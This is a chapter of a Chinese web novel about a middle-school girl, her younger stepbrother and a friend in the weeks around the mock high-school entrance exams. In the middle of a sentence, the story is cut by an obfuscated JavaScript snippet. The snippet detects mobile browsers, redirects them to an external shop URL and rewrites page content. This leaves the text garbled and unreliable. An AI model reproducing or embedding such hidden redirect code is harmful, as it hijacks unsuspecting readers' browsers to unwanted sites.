那天班主任打电话亲切慰问了程蔓君,说是不是家长太忙赶不过来,程蔓君隔着手机都脸红,回家又亲切慰问了程煦,说他们姐弟两个“狼狈为奸”,“蛇鼠一窝”。 刚下体育课正是饿的时候,程煦拿起筷子脑袋都埋饭盘里了。 “饿死鬼转世吧。”张妍看着他吐槽。 程煦不敢惹盛凝的近臣,只能狠狠瞪张妍一眼。 如果盛凝的皇帝,张妍就是最会吹枕边风的宦官,他是被挑拨离间的忠臣,陈勇是哪边风吹哪边倒的怂蛋包小喽啰。 针尖对麦芒,盛凝伸出手指切断了两个人电光火石般的视线。 “打住。” “哎你跟小孩也能吵起来。”盛凝装老成教育张妍,却被对方有理有据反驳:“你俩吵的架比我多多了吧,盛凝,你知不知道你现在特别像那种溺爱熊孩子的家长,可招人恨了。” 说得盛凝心虚:“没这么夸张吧……” 眼看盛凝要被说动,程煦百忙之中把脑袋从红烧肉里拔出来,“姐你别听她的行吗,咱俩才是最亲的。” “闭嘴吃饭吧你。” 天气热起来后食堂的大鱼大肉就少了很多,紫菜蛋花换成了绿豆汤,电扇被值日生踩着桌子用扫帚简单扒拉两下就开启了长达三个月的辛苦工作。 学校领导真抠,宁愿给每个教室多装俩摇头风扇也不肯安空调,一到下午两点,六个电扇一起打开呜呼呼地胡乱吹,卷子习题被吹得到处都是,午睡的盛凝被飞过来的一张物理卷一巴掌拍醒。 她抹一把口水抓起卷子,上面写着张妍的名字,于是又丢回旁边趴着睡得不省人事的女生头上。 过了冬天是阴冷的春天,过了春天又是闷热的夏,一年四季为什么每个季节都这么难熬? 两点半上课铃响,死气沉沉的教室里飘着一股浓郁的人肉香。 “你们班这什么味啊?”英语老师夏天也带着全妆,真是个奇女子,教室里热成这样一节课下来她的妆是一点都不带花的。 靠窗的同学立刻会意,雷厉风行打开了窗户。 昏昏欲睡地翻开课本,下午第一节是英语课太折磨了,写英语阅读时26个字母像一只只小蝴蝶似的飘在眼前,完形填空从头读到尾,盛凝才呆愣愣眨眨眼。 光顾着读,忘记在脑子里翻译了。 五月中旬,课表上的音体美和自习全部被安排成中考科目,老师们会调课表,把两节课连在一起好让学生完整写一套卷子。 张妍一模滑铁卢了,跌出重高线, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481774|201785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这两个月痛心疾首,说她爬也要爬进重高。 重高不在盛凝考虑范围之内,她就想安安稳稳上普高,没有一模成绩,就算平时测验有时候甚至能够上重高线的尾巴,她也没有把握一定有高中要她。 “你写啥呢?” 张妍突然凑过来问她,盛凝才发现自己在英语作文稿纸上写了个“P=W/t”。 “哎呦!”盛凝小声叫了一下,赶紧用修正带划掉,“刚走神了。” 张妍:“你是不是特紧张?” 盛凝以为她要安慰自己,想回答还好,结果这家伙自己絮絮叨叨说上了。 “我靠我紧张得要吐了,一想到明天二模我就心慌手抖冒冷汗,你摸摸我鸡皮疙瘩。” “谢谢我不想摸,密集恐惧症。” 两个瑟瑟发抖的小姑娘就这样等到了第二天的阳光。 盛凝觉得熬通宵是个有坏事发生的诱因,她迷信到今天给她爹摆在家里的黑白照磕了两个头。 “爹,虽然你平时也不管我学习,我也不怎么求你,今天你就发发力保佑我吧!” 程煦一大早给他姐买好早点送到面前,“皇上,请。” 盛凝擦干净嘴角的牙膏沫,“小煦子最近表现不错,给你加俸禄。” 程蔓君最近早出晚归,一开始还说外面早餐不健康要自己给孩子们做,现在倒是一天到晚都没个踪影,晚饭还是盛凝和程煦放学回家路上在餐馆打包的。 张妍曾评价:“你俩能活到现在真是个奇迹。” 程煦捏着包子皮一点一点撕下来,丝毫没有想好好吃饭的意志。 “姐。” “怎么了?”盛凝没注意他的小动作,手上举着语文习题,想再背背范文。 “哎…等你考完我再跟你说吧。” 她没了耐心:“神经病,爱讲不讲。” 这天阳光很好,答题卡很干净,笔尖也没有漏墨,上午考语文,下午数学,第二天是英语和物化。 两天时间匆匆过去,一出二模考场大家都跟扒层皮似的。 “饿死我了,盛凝咱今天去外面吃吧!” 张妍拉着盛凝的手就要往外走,根本不给她拒绝的机会。 “哎,程煦在警卫室等我呢。” 张妍眼珠一转,多大点事,“带着他呗,多一个人更好,程煦吃饭跟不要命一样,今天铁定吃垮我哥。” “今天你哥请客吗?那我才不去呢。” 盛凝摆摆手,不想占别人便宜。 “你真不去?” “不去。” “你知道吗盛凝,今年中考出题组组长,是我哥高一班主任。” “咱哥包厢订在哪儿呢,我打个车吧。”